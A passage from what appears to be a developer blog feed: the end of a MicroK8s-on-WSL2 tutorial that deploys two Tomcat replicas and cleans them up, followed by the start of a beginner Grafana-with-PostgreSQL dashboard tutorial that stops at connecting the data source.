&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You will notice your file carries the string tag &lt;strong&gt;&lt;code&gt;localhost/my-java-app:v1&lt;/code&gt;&lt;/strong&gt; bound to a specific runtime permission marker (&lt;code&gt;io.cri-containerd.image=managed&lt;/code&gt;).&lt;/p&gt;




&lt;h2&gt;
  
  
  🎼 Phase 4: Defining the Orchestration Layout (YAML)
&lt;/h2&gt;

&lt;p&gt;Now we write the declarative automation file. We want &lt;strong&gt;2 separate copies (replicas)&lt;/strong&gt; of Tomcat spinning up simultaneously, sitting safely behind a single load-balancing endpoint.&lt;/p&gt;

&lt;p&gt;Create a file named &lt;code&gt;app-deployment.yaml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;apps/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Deployment&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;java-app-deployment&lt;/span&gt;
  &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-java-web-app&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;replicas&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;2&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;matchLabels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-java-web-app&lt;/span&gt;
  &lt;span class="na"&gt;template&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-java-web-app&lt;/span&gt;
    &lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;containers&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;tomcat-container&lt;/span&gt;
        &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;localhost/my-java-app:v1&lt;/span&gt;
        &lt;span class="na"&gt;imagePullPolicy&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Never&lt;/span&gt; &lt;span class="c1"&gt;# Forces K8s to look only at your hard drive cache&lt;/span&gt;
        &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;containerPort&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Service&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;java-app-service&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ClusterIP&lt;/span&gt;
  &lt;span class="na"&gt;selector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;my-java-web-app&lt;/span&gt;
  &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;
    &lt;span class="na"&gt;targetPort&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fire up the structural blueprints into the cluster engine:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; app-deployment.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🕵️ Phase 5: Verification &amp;amp; Stepping Inside the Matrix
&lt;/h2&gt;

&lt;p&gt;Track your applications as they boot up live into active server spaces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl get pods &lt;span class="nt"&gt;-w&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When successful, your console will print:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NAME                                   READY   STATUS    RESTARTS   AGE
java-app-deployment-56fd4d8d5f-ddd4n   1/1     Running   0          10s
java-app-deployment-56fd4d8d5f-n69wp   1/1     Running   0          10s
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Stepping Inside the Pod Environments 🤯
&lt;/h4&gt;

&lt;p&gt;Are those Tomcats really there? Let's physically step inside the isolated filesystem of each individual running node to verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;## Step inside Pod 1&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; java-app-deployment-56fd4d8d5f-ddd4n &lt;span class="nt"&gt;--&lt;/span&gt; bash
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/local/tomcat/webapps
&lt;span class="nb"&gt;exit&lt;/span&gt;

&lt;span class="c"&gt;## Step inside Pod 2&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; java-app-deployment-56fd4d8d5f-n69wp &lt;span class="nt"&gt;--&lt;/span&gt; bash
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /usr/local/tomcat/webapps
&lt;span class="nb"&gt;exit&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each container runs its own isolated filesystem partition with independent copies of Tomcat 10 and your web project!&lt;/p&gt;




&lt;h2&gt;
  
  
  🌐 Phase 6: Routing Live Traffic to Windows
&lt;/h2&gt;

&lt;p&gt;To view your load-balanced environment, map an open port on your host computer (like &lt;code&gt;9595&lt;/code&gt;) directly to your front-end Kubernetes service router:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl port-forward service/java-app-service 9595:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep that terminal active, switch to your Windows web browser, and access your custom project page:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:9595/mywebprojectwar/index.jsp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every click and refresh on that web address is now automatically round-robinned and load-balanced across your 2 independent Tomcat containers!&lt;/p&gt;




&lt;h2&gt;
  
  
  🧼 Phase 7: Leaving No Trace (The Clean Slate)
&lt;/h2&gt;

&lt;p&gt;When you are done experimenting and want to reclaim your system RAM, CPU cycles, and disk blocks back to a "Zero Stage" without breaking your machine, use this cleanup checklist:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;## 1. Drop Applications&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl delete &lt;span class="nt"&gt;-f&lt;/span&gt; app-deployment.yaml
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl delete service my-app-kubernetes 2&amp;gt;/dev/null
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s kubectl delete deployment my-app-kubernetes 2&amp;gt;/dev/null

&lt;span class="c"&gt;## 2. Reclaim Image Storage Space&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; ~/kubernetes-java-app/&lt;span class="k"&gt;*&lt;/span&gt;.tar
&lt;span class="nb"&gt;sudo &lt;/span&gt;buildah rmi &lt;span class="nt"&gt;--all&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s ctr &lt;span class="nt"&gt;--namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;k8s.io image &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s ctr &lt;span class="nt"&gt;--namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;k8s.io image &lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-q&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt; 2&amp;gt;/dev/null

&lt;span class="c"&gt;## 3. Shutdown Subsystems&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s disable dashboard registry
&lt;span class="nb"&gt;sudo &lt;/span&gt;microk8s stop

&lt;span class="c"&gt;## 4. Factory Reset (Optional)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;snap remove microk8s &lt;span class="nt"&gt;--purge&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;snap &lt;span class="nb"&gt;install &lt;/span&gt;microk8s &lt;span class="nt"&gt;--classic&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  🎯 Conclusion
&lt;/h2&gt;

&lt;p&gt;Running Kubernetes inside WSL2 is a great way to build hands-on experience without needing cloud infrastructure or multiple virtual machines. While the setup introduces a few unique challenges—certificate configuration, image management, and networking—each issue has a straightforward solution once you understand how the pieces fit together.&lt;/p&gt;

&lt;p&gt;In this guide, we built a complete local Kubernetes environment from scratch, containerized a Java web application using Buildah, deployed it on MicroK8s, scaled it with multiple replicas, and exposed it through a Kubernetes Service.&lt;/p&gt;

&lt;p&gt;More importantly, we explored why each step was necessary rather than simply copying commands. Understanding concepts such as container runtimes, image namespaces, deployments, services, and port forwarding makes it much easier to troubleshoot real Kubernetes environments.&lt;/p&gt;

&lt;p&gt;If you're beginning your Kubernetes journey, I hope this walkthrough saves you the hours of trial and error that I went through.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>docker</category>
      <category>tomcat</category>
      <category>linux</category>
    </item>
    <item>
      <title>Grafana for Beginners: Build Your First Dashboard Using PostgreSQL and Docker</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Fri, 12 Jun 2026 04:41:57 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/grafana-for-beginners-build-your-first-dashboard-using-postgresql-and-docker-2l4m</link>
      <guid>https://dev.to/sanjayghosh/grafana-for-beginners-build-your-first-dashboard-using-postgresql-and-docker-2l4m</guid>
      <description>&lt;p&gt;As I continue exploring the DevOps ecosystem, I wanted to understand how monitoring and observability tools fit into the software delivery lifecycle.&lt;/p&gt;

&lt;p&gt;Tools like Git, Jenkins, Docker, and Kubernetes are frequently discussed, but eventually every team reaches a common question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;How do we monitor what is happening after deployment?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's where Grafana comes in.&lt;/p&gt;

&lt;p&gt;Grafana is one of the most popular open-source visualization platforms used by development, operations, and Site Reliability Engineering (SRE) teams. It helps transform raw metrics into meaningful dashboards that provide insights into application performance, infrastructure health, and business metrics.&lt;/p&gt;

&lt;p&gt;In this article, we'll build a complete working example from scratch:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Install Grafana using Docker&lt;/li&gt;
&lt;li&gt;Create a PostgreSQL database&lt;/li&gt;
&lt;li&gt;Insert sample metrics&lt;/li&gt;
&lt;li&gt;Connect Grafana to PostgreSQL&lt;/li&gt;
&lt;li&gt;Build a dashboard&lt;/li&gt;
&lt;li&gt;Troubleshoot common connection issues&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By the end, you'll have a fully functional Grafana dashboard running locally and a solid understanding of how Grafana fits into modern DevOps workflows.&lt;/p&gt;




&lt;h2&gt;
  
  
  What is Grafana?
&lt;/h2&gt;

&lt;p&gt;Grafana is an open-source monitoring and visualization platform.&lt;/p&gt;

&lt;p&gt;It connects to various data sources and transforms raw data into interactive dashboards and alerts.&lt;/p&gt;

&lt;p&gt;Grafana itself does not store monitoring data. Instead, it reads data from external systems such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PostgreSQL&lt;/li&gt;
&lt;li&gt;MySQL&lt;/li&gt;
&lt;li&gt;Prometheus&lt;/li&gt;
&lt;li&gt;Elasticsearch&lt;/li&gt;
&lt;li&gt;Loki&lt;/li&gt;
&lt;li&gt;AWS CloudWatch&lt;/li&gt;
&lt;li&gt;InfluxDB&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A simplified architecture looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Database / Monitoring Tool
            |
            v
         Grafana
            |
            v
       Dashboards
            |
            v
          Alerts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Where Grafana Fits in DevOps
&lt;/h2&gt;

&lt;p&gt;Grafana is used throughout the DevOps lifecycle.&lt;/p&gt;

&lt;h3&gt;
  
  
  Development
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Performance analysis&lt;/li&gt;
&lt;li&gt;Debugging bottlenecks&lt;/li&gt;
&lt;li&gt;Resource utilization monitoring&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Testing
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Monitor test environments&lt;/li&gt;
&lt;li&gt;Validate application behavior&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  CI/CD
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Monitor deployments&lt;/li&gt;
&lt;li&gt;Track build success rates&lt;/li&gt;
&lt;li&gt;Visualize pipeline metrics&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Production
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Infrastructure monitoring&lt;/li&gt;
&lt;li&gt;Application Performance Monitoring (APM)&lt;/li&gt;
&lt;li&gt;Alerting and incident management&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Step 1: Install Grafana Using Docker
&lt;/h2&gt;

&lt;p&gt;Pull the Grafana image:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker pull grafana/grafana
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker images
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run Grafana:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; grafana &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 3000:3000 &lt;span class="se"&gt;\&lt;/span&gt;
  grafana/grafana
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker ps
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0.0.0.0:3000-&amp;gt;3000/tcp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Default credentials:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username: admin
Password: admin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Grafana will prompt you to change the password during the first login.&lt;/p&gt;

&lt;p&gt;Screenshot of login:&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fehvpxsz4c1l68pojduoa.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fehvpxsz4c1l68pojduoa.jpg" alt=" " width="756" height="407"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  Step 2: Create a PostgreSQL Database
&lt;/h2&gt;

&lt;p&gt;Create a database:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;DATABASE&lt;/span&gt; &lt;span class="n"&gt;grafana_demo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Connect:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="k"&gt;c&lt;/span&gt; &lt;span class="n"&gt;grafana_demo&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Create a table:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;SERIAL&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;metric_time&lt;/span&gt; &lt;span class="nb"&gt;TIMESTAMP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;cpu_usage&lt;/span&gt; &lt;span class="nb"&gt;NUMERIC&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 3: Insert Sample Metrics
&lt;/h2&gt;

&lt;p&gt;Insert some sample CPU usage data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;metric_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cpu_usage&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;VALUES&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'9 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'8 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'7 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'6 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'5 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'4 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'3 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'2 minutes'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;55&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;INTERVAL&lt;/span&gt; &lt;span class="s1"&gt;'1 minute'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NOW&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Verify:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;system_metrics&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Step 4: Connect Grafana to PostgreSQL
&lt;/h2&gt;

&lt;p&gt;Navigate to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://localhost:3000/datasources
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Choose:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PostgreSQL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Host:
host.docker.internal:5432

Database:
grafana_demo

User:
postgres

Password:
your_password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Save and test the connection.&lt;/p&gt;

&lt;p&gt;Screenshot of connection:&lt;br&gt;
